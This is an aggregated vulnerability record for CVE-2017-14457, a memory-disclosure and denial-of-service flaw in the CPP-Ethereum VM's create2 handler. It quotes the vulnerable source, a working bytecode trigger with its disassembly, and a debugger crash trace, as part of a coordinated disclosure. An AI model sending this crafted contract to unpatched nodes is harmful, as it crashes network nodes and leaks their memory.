Vulnerabilities > CVE-2017-14457 - Out-of-bounds Read vulnerability in Ethereum Virtual Machine

047910
CVSS 8.2 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
LOW
Integrity impact
NONE
Availability impact
HIGH
network
low complexity
ethereum
CWE-125

Summary

An exploitable information leak/denial of service vulnerability exists in the libevm (Ethereum Virtual Machine) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious a smart contract to trigger this vulnerability.

Vulnerable Configurations

Part Description Count
Application
Ethereum
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Overread Buffers
    An adversary attacks a target by providing input that causes an application to read beyond the boundary of a defined buffer. This typically occurs when a value influencing where to start or stop reading is set to reflect positions outside of the valid memory location of the buffer. This type of attack may result in exposure of sensitive information, a system crash, or arbitrary code execution.

Seebug

bulletinFamilyexploit
description### Summary An exploitable information leak / denial of service vulnerability exists in the libevm ( Ethereum Virtual Machine ) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious smart contract to trigger this vulnerability. ### Tested Versions Ethereum commit 4e1015743b95821849d001618a7ce82c7c073768 ### Product URLs http://cpp-ethereum.org ### CVSSv3 Score 8.2 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H ### CWE CWE-125: Out-of-bounds Read ### Details CPP-Ethereum is a C++ ethereum client, one of the 3 most popular clients for the ethereum platform. One of the components that is a part of cpp-ethereum is libevm ( Ethereum Virtual Machine ). Improper handling of smart contract code in the create2 opcode handler can lead to an out-of-bounds read. The vulnerability can be used to leak memory or to perform DoS attack on all nodes in the Ethereum network using this implementation of the virtual machine. The `create2` opcode is currently associate with `Constantinople` fork and its implementation looks as follows: ``` cpp-ethereum/libevm/VMCalls.cpp Line 133 void VM::caseCreate() Line 134 { Line 135 m_bounce = &VM::interpretCases; Line 136 m_runGas = toInt63(m_schedule->createGas); Line 137 updateMem(memNeed(m_SP[1], m_SP[2])); Line 138 updateIOGas(); Line 139 Line 140 auto const& endowment = m_SP[0]; Line 141 uint64_t initOff; Line 142 uint64_t initSize; Line 143 u256 salt; Line 144 if (m_OP == Instruction::CREATE) Line 145 { Line 146 initOff = (uint64_t)m_SP[1]; Line 147 initSize = (uint64_t)m_SP[2]; Line 148 } Line 149 else Line 150 { Line 151 salt = m_SP[1]; Line 152 initOff = (uint64_t)m_SP[2]; Line 153 initSize = (uint64_t)m_SP[3]; Line 154 } Line 155 Line 156 // Clear the return data buffer. This will not free the memory. Line 157 m_returnData.clear(); Line 158 Line 159 if (m_ext->balance(m_ext->myAddress) >= endowment && m_ext->depth < 1024) Line 160 { Line 161 *m_io_gas_p = m_io_gas; Line 162 u256 createGas = *m_io_gas_p; Line 163 if (!m_schedule->staticCallDepthLimit()) Line 164 createGas -= createGas / 64; Line 165 u256 gas = createGas; Line 166 h160 addr; Line 167 owning_bytes_ref output; Line 168 std::tie(addr, output) = m_ext->create(endowment, gas, bytesConstRef(m_mem.data() + initOff, initSize), m_OP, salt, m_onOp); ``` In pseudo code we can represent the opcode handler as follows: ``` create2(endowment,salt,initOff,initSize) ``` Its purpose is to give a devoloper the possibility to create a new contract from inside a contract where code for a new contract is loaded inside EVM memory `m_mem` at the specified offset. In above code we can observe that 4th parameter `initSize` represents size of the new contract code, it is read directly from input at `line 153` and not sanitized in any way before it is used at `line 168`. At line 168 we see that a new object of type `bytesConstRef` is created : ``` using bytesConstRef = vector_ref<byte const>; libdevcore\vector_ref.h Line 19 /** Line 20 * A modifiable reference to an existing object or vector in memory. Line 21 */ Line 22 template <class _T> Line 23 class vector_ref Line 24 { (...) Line 33 /// Creates a new vector_ref to point to @a _count elements starting at @a _data. Line 34 vector_ref(_T* _data, size_t _count): m_data(_data), m_count(_count) {} ``` The parameters being passed to the constructor for this are a pointer to a memory buffer m_mem and, as a size of this buffer, the initSize variable. As you can imagine, the object can have a wrong size fully controllable by the attacker in the range of a 64-bit unsigned integer. Tracking down further usage of this object we can see that based on its content a SHA1 hash is calculated: ``` Line 324 bool Executive::create2Opcode(Address const& _sender, u256 const& _endowment, u256 const& _gasPrice, u256 const& _gas, bytesConstRef _init, Address const& _origin, u256 const& _salt) Line 325 { Line 326 m_newAddress = right160(sha3(_sender.asBytes() + toBigEndian(_salt) + sha3(_init).asBytes())); Line 327 return executeCreate(_sender, _endowment, _gasPrice, _gas, _init, _origin); Line 328 } ``` The corrupted object in the function above is passed as `an _init` argument. The incorrect size of this object in that scenario can lead to: ``` - A denial of service: due to a huge amount of memory being used as an input buffer for SHA1 function - A memory disclosure: all parameters values are known to the attacker and the result of the computation is based on those parameters and data which is read out-of-bounds, which is returned to the attacker as a contract address, An attacker can use the resulting hash to bruteforce/guess the contents of the leaked memory. ``` Example of opcodes triggering this vulnerability: ``` 67FFFFFFFFFFFFFFFF600160006000FB ``` disassembling we get: ``` 67 FFFFFFFFFFFFFFFF PUSH32 FFFFFFFFFFFFFFFF // code size `initSize` 60 01 PUSH 1 // initOff 60 00 PUSH 0 // salt 60 00 PUSH 0 // endowment FB CREATE2 ``` ### Crash Information ``` Starting program: /home/icewall/bugs/cpp-ethereum/build/ethvm/ethvm --network Constantinople --code 67FFFFFFFFFFFFFFFF600160006000FB [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147 147 mkapply_ds(xorin, dst[i] ^= src[i]) // xorin (gdb) peda_active gdb-peda$ context [----------------------------------registers-----------------------------------] RAX: 0xf RBX: 0x798a6dbc7de82679 RCX: 0x1103ff1 --> 0x3f8000 RDX: 0x0 RSI: 0x8c887aede3bcb158 RDI: 0x23fe151d7b09c153 RBP: 0xe223193d3ce38d3f RSP: 0x7fffffffaac0 --> 0xde389728e7cb4c82 RIP: 0x584797 (<dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1]) R8 : 0xb7239754a4040e21 R9 : 0x6c253a29078ce9a7 R10: 0xdea07427d1e5343 R11: 0x18 R12: 0xb22887a917e771ac R13: 0x82bfafeff33273bb R14: 0x7de51edb509fe189 R15: 0x8c6233ed3e52b5ca EFLAGS: 0x10287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x58478a <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+136>: mov rcx,QWORD PTR [rsp+0x78] 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141>: cmp rax,0x87 0x584795 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+147>: ja 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166> => 0x584797 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+149>: movzx edx,BYTE PTR [rcx+rax*1] 0x58479b <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+153>: xor BYTE PTR [rsp+rax*1+0x80],dl 0x5847a2 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+160>: add rax,0x1 0x5847a6 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+164>: jmp 0x58478f <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+141> 0x5847a8 <dev::keccak::sha3_256(unsigned char*, unsigned long, unsigned char const*, unsigned long)+166>: mov r13d,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffaac0 --> 0xde389728e7cb4c82 0008| 0x7fffffffaac8 --> 0xae440eb455ebc604 0016| 0x7fffffffaad0 --> 0x8c887aede3bcb158 0024| 0x7fffffffaad8 --> 0xf772bcd848c8171d 0032| 0x7fffffffaae0 --> 0x8c6233ed3e52b5ca 0040| 0x7fffffffaae8 --> 0xb7239754a4040e21 0048| 0x7fffffffaaf0 --> 0x6c253a29078ce9a7 0056| 0x7fffffffaaf8 --> 0x821ae124af601e76 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV gdb-peda$ bt #0 0x0000000000584797 in dev::keccak::xorin (len=<optimized out>, src=<optimized out>, dst=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:147 #1 dev::keccak::hash (delim=0x1, rate=0x88, inlen=0xffffffffff8ca1af, in=0x1103ff1 "", outlen=0x20, out=0x7fffffffad70 "") at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:171 #2 dev::keccak::sha3_256 (out=0x7fffffffad70 "", outlen=outlen@entry=0x20, in=<optimized out>, inlen=<optimized out>) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:207 #3 0x0000000000587e61 in dev::sha3 (_input=..., o_output=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/SHA3.cpp:218 #4 0x0000000000457137 in dev::sha3 (_input=...) at /home/icewall/bugs/cpp-ethereum/libdevcore/../libdevcore/SHA3.h:40 #5 dev::eth::Executive::create2Opcode (this=this@entry=0x7fffffffaf50, _sender=..., _endowment=..., _gasPrice=..., _gas=..., _init=..., _origin=..., _salt=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:326 #6 0x00000000004694e9 in dev::eth::ExtVM::create(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::vector_ref<unsigned char const>, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4340, _endowment=..., io_gas=..., _code=..., _op=-5, _salt=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/ExtVM.cpp:126 #7 0x0000000000531ef8 in dev::eth::VM::caseCreate (this=0x9d4530) at /home/icewall/bugs/cpp-ethereum/libevm/VMCalls.cpp:169 #8 0x000000000051d308 in dev::eth::VM::exec(boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<256u, 256u, (boost::multiprecision::cpp_integer_type)0, (boost::multiprecision::cpp_int_check_type)0, void>, (boost::multiprecision::expression_template_option)0>&, dev::eth::ExtVMFace&, std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=0x9d4530, _io_gas=..., _ext=..., _onOp=...) at /home/icewall/bugs/cpp-ethereum/libevm/VM.cpp:207 #9 0x000000000045548d in dev::eth::Executive::go(std::function<void (unsigned long, unsigned long, dev::eth::Instruction, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, boost::multiprecision::number<boost::multiprecision::backends::cpp_int_backend<0u, 0u, (boost::multiprecision::cpp_integer_type)1, (boost::multiprecision::cpp_int_check_type)0, std::allocator<unsigned long long> >, (boost::multiprecision::expression_template_option)1>, dev::eth::VM*, dev::eth::ExtVMFace const*)> const&) (this=this@entry=0x7fffffffd5b0, _onOp=...) at /home/icewall/bugs/cpp-ethereum/libethereum/Executive.cpp:434 #10 0x0000000000416ceb in main (argc=argc@entry=0x6, argv=argv@entry=0x7fffffffdd68) at /home/icewall/bugs/cpp-ethereum/ethvm/main.cpp:320 #11 0x00007ffff6d15830 in __libc_start_main (main=0x414fd0 <main(int, char**)>, argc=0x6, argv=0x7fffffffdd68, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdd58) at ../csu/libc-start.c:291 #12 0x0000000000413c09 in _start () ``` ### Timeline * 2017-11-03 - Vendor Disclosure * 2018-01-09 - Public Release
idSSV:97072
last seen2018-01-10
modified2018-01-10
published2018-01-10
reporterRoot
titleCPP-Ethereum libevm create2 Information Leak Vulnerability(CVE-2017-14457)

Talos

idTALOS-2017-0503
last seen2019-05-29
published2018-01-09
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0503
titleCPP-Ethereum libevm create2 Information Leak Vulnerability